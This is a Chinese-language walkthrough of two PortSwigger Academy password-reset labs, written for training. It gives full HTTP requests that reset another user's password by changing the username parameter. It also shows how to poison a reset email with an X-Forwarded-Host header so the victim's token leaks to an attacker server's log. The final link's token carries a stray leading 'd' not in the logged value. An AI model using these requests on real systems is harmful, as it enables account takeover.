有些用戶會忘記密碼,因此系統會有重設密碼功能,這有幾種不同的實作方式,而且存在不同程度的重設密碼漏洞,常發生的地方有以下兩個:
- 在網頁更改密碼
- 用Email更改密碼
在網頁重置密碼
很多系統因為沒有綁定帳號,因此可以幫任何人重改密碼,舉例如下
以下為使用者carlos更改自己密碼的請求
POST /forgot-password?temp-forgot-password-token=zJuIal6i3fZ42mtO6b10UFtvSuXo6c7A
...omit...
temp-forgot-password-token=zJuIal6i3fZ42mtO6b10UFtvSuXo6c7A&username=carlos&new-password-1=abc&new-password-2=abc
但由於系統沒有做任何過濾,因此使用者carlos可以透過username參數改任何人的密碼,如下
POST /forgot-password?temp-forgot-password-token=zJuIal6i3fZ42mtO6b10UFtvSuXo6c7A
...omit...
temp-forgot-password-token=zJuIal6i3fZ42mtO6b10UFtvSuXo6c7A&username=admin&new-password-1=abc&new-password-2=abc
以上請求可讓carlos直接更改admin密碼
Lab: Password reset broken logic
用Email更改密碼
如果能偷到改密碼token,就能改任意使用者密碼,舉例如下
正常流程
某系統email改密碼流程如下
1. 如果wiener想更改密碼會發送以下請求
POST /forgot-password HTTP/1.1
Host: ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net
...omit...
Cookie: session=D3hW9m3Frhs79Gz574pETzcvvZOI4Yjl
csrf=xc9Bxe6exRqWazSU3fV6eyQulogqs2ch&username=wiener
2.接著wiener會收到email驗證信,只要訪問驗證連結就可以改自己的密碼
Please follow the link below to reset your password.
https://ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net/forgot-password?temp-forgot-password-token=7U9xxpdcAdc6IxMQ6PwIuhbDRC9YYJQo
攻擊方法
由於系統相信x-forwarded-host的位置,因此會把重要的資訊也送到這個位置,只要把位置改成自己,就能看到重要資訊
1.一樣延用之前wiener的請求,session token不變一樣使用wiener的,但將username改為受害者carlos,並增加x-forwarded-host
因此可以構造以下攻擊請求如下
POST /forgot-password HTTP/1.1
Host: ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net
...omit...
X-Forwarded-Host: attackserver.web-security-academy.net
Cookie: session=D3hW9m3Frhs79Gz574pETzcvvZOI4Yjl
csrf=xc9Bxe6exRqWazSU3fV6eyQulogqs2ch&username=carlos
2.在攻擊主機(attackserver.web-security-academy.net)的access log會看到以下日志,可以發現carlos的token顯示在上面
...omit...
172.31.30.50 2020-09-17 01:54:53 +0000 "GET %2fforgot-password%3ftemp-forgot-password-token%3dXcqy8kyCDTMbQLuum1xqgLXXnkm8YqN7 HTTP/1.1" 404
...omit...
3.在wiener信箱裡會收到系統寄來的的驗證連結
Please follow the link below to reset your password.
https://ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net/forgot-password?temp-forgot-password-token=F4wgrXujxQVH6SJuxqTDkMWiot93uVDn
4.將驗證連結的token改為carlos的如下
https://ac081f0e1ef832fe801c9a6b00c600e6.web-security-academy.net/forgot-password?temp-forgot-password-token=dXcqy8kyCDTMbQLuum1xqgLXXnkm8YqN7
訪問該鏈結後就可修改carlos的密碼
Lab: Password reset poisoning via middleware